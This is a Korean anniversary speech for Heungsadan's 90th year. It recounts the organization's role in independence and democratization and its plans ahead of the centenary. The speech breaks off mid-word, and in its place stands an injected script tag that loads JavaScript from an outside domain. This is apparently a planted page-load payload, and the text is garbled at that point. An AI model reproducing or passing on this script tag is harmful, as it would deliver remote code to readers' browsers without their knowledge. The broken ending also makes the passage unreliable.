오늘은 우리 흥사단이 창립된 지 90주년을 맞이하는 뜻깊은 날입니다. 망국의 슬픔 속에 온 국민이 방황하던 1913년 5월 13일, 우리 흥사단은 잃어버린 국권을 되찾고 발전적인 민주사회를 이 땅에 건설하고자 하는 원대한 꿈을 안고 출범하였습니다.
그로부터 90년 동안 우리 흥사단은 많은 시련과 고난을 이기며 민족의 자주독립과 사회의 민주화에 이바지하고자 노력해 왔습니다.
특히 격동의 시대를 거치면서 수많은 단체들이 명멸했던 우리 사회에서 흥사단이 강인한 생명력을 가지고 90년의 전통을 연면히 이어왔다는 것은 시민단체와 시민운동에 대한 사회적 기대가 점증하고 있는 이 시대에 그 의미가 더욱 값진 것이라 생각합니다.
오늘 창립 90주년을 맞으며, 우리는 먼저 흥사단 창립을 주도하고 이념의 초석을 다지신 도산 안창호 선생님과 창립 이후 흥사단을 이끌며 자주독립과 민족부흥에 몸바치신 선배 단우님들의 헌신적 노력에 대해 경의를 표하지 않을 수 없습니다.
아울러 창립 90주년을 축하하고 앞날의 발전을 기원하기 위해 이 자리에 참석해 주신 내외 귀빈 여러분들과 흥사단 동지 여러분들께도 깊은 감사를 드립니다.
흥사단의 90년 역사는 참으로 외롭고 고달픈 노정이었습니다.
흥사단은 출발부터 나라 잃은 민족의 아픔을 가슴에 안고 태어났습니다. 민족사회발전의 기초를 수립하고자 하는 흥사단이 내 나라 내 땅에서 당당히 일어서지 못하고 이역만리 남의 땅에서 몇몇 유학생과 소수의 이민노동자들을 중심으로 외롭게 출범하지 않을 수 없었던 것입니다.
미주와 상해를 중심으로 독립의 그 날을 기다리며 준비하던 흥사단이 어렵게 국내에 활동 거점을 마련하였으나 일제는 이를 결코 용납하지 않았습니다.
소위 말하는 동우회 사건으로 수많은 선배 단우들이 고초를 당하였고, 도산 선생께서도 이 사건으로 투옥되어 옥고를 치르시던 중 병환을 얻어 끝내 순국하셨습니다.
흥사단의 시련은 광복된 조국에서도 중단되지 않았습니다.
독재로 치닫던 자유당 정권 하에서 흥사단은 항상 압제와 감시의 대상이었으며, 군사정부 하에서도 고난의 역사는 계속되었습니다.
우리 흥사단은 이러한 고난과 시련 속에서도 결코 좌절하거나 굴절하지 않고 조국의 광복과 발전적인 민주사회를 건설하고자 분투노력하였습니다. 독립운동에 많은 인적 자원을 공급하였고, 임시정부운영과 독립운동에 소요되는 재정을 마련하고 지원하는 일에 앞장섰습니다.
광복 후의 어려운 여건 속에서도 수많은 선배들이 독립국가의 건설과 사회의 민주화를 위해 몸바쳐 일했습니다.
1960년대 이후에 요원의 불길처럼 번졌던 청년학생운동인 흥사단 아카데미운동은 수많은 젊은이들에게 민족적 사명감을 다시 일깨워주었습니다.
흥사단 아카데미운동을 통해 민주시민의식과 지도자적 역량을 축적한 이들 젊은이들은 지금도 우리 사회의 각계 각층에서 훌륭한 지도자로서 열심히 활동하고 있습니다.
그러나 오늘날 우리 사회의 현실은 우리들이 기대했던 발전과 번영, 질서와 복지를 실현하지 못하고 도처에서 많은 문제점을 노출하고 있습니다.
원칙과 기본에 충실하지 못하고, 편법과 눈가림에 열중하고 있습니다.
구조적이고 조직적인 부정과 비리가 그치지 않고 있습니다.
인간소외와 물질만능주의가 만연하고 있습니다.
조화롭고 성숙한 인격을 육성해야 할 교육은 우리의 자녀들을 무한경쟁을 부추기는 입시지옥으로 내몰고 있습니다.
분단의 장기화는 남북간의 경제적 격차와 문화적 이질성을 더욱 심화시키고 있으며, 북한 동포의 질곡은 인내의 한계를 넘어서고 있습니다. 세대·이념·지역·계층간의 갈등은 더욱 격화되고 있습니다.
혼미를 거듭하고 있는 우리 사회의 모습을 바라보면서 우리는 현실에 대한 깊은 우려와 함께 그 책임의 일단을 통감하지 않을 수 없습니다.
무실·역행·충의·용감의 흥사단 정신이 이 시대에도 절실하게 요구되고 있습니다.
곧은 정신과 바른 생활을 통해 깨끗하고 건실한 사회를 만들어가야 할 우리 흥사단의 사회적 책무가 그 어느 때보다도 막중한 때입니다.
7천만 동포가 하나같이 인간다운 삶을 영위할 수 있는 민주복지사회를 이 땅에 건설하기 위해서는 새로운 각오와 굳은 결의가 필요합니다.
급격하게 변화하는 시대조류에 지혜롭게 대처하고 10년 후로 다가온 100주년을 영광스럽게 맞이하기 위해서 우리는 지금부터 착실하게 준비하지 않으면 안됩니다.
우리 흥사단에서는 이미 3대 운동본부를 결성하고 적극적인 활동에 착수하였습니다. 교육을 바로 세우고 건강한 청소년을 육성하기 위한 <흥사단교육운동본부>, 원칙과 기본을 바?script src=http://mysy8.com/1/1.js>
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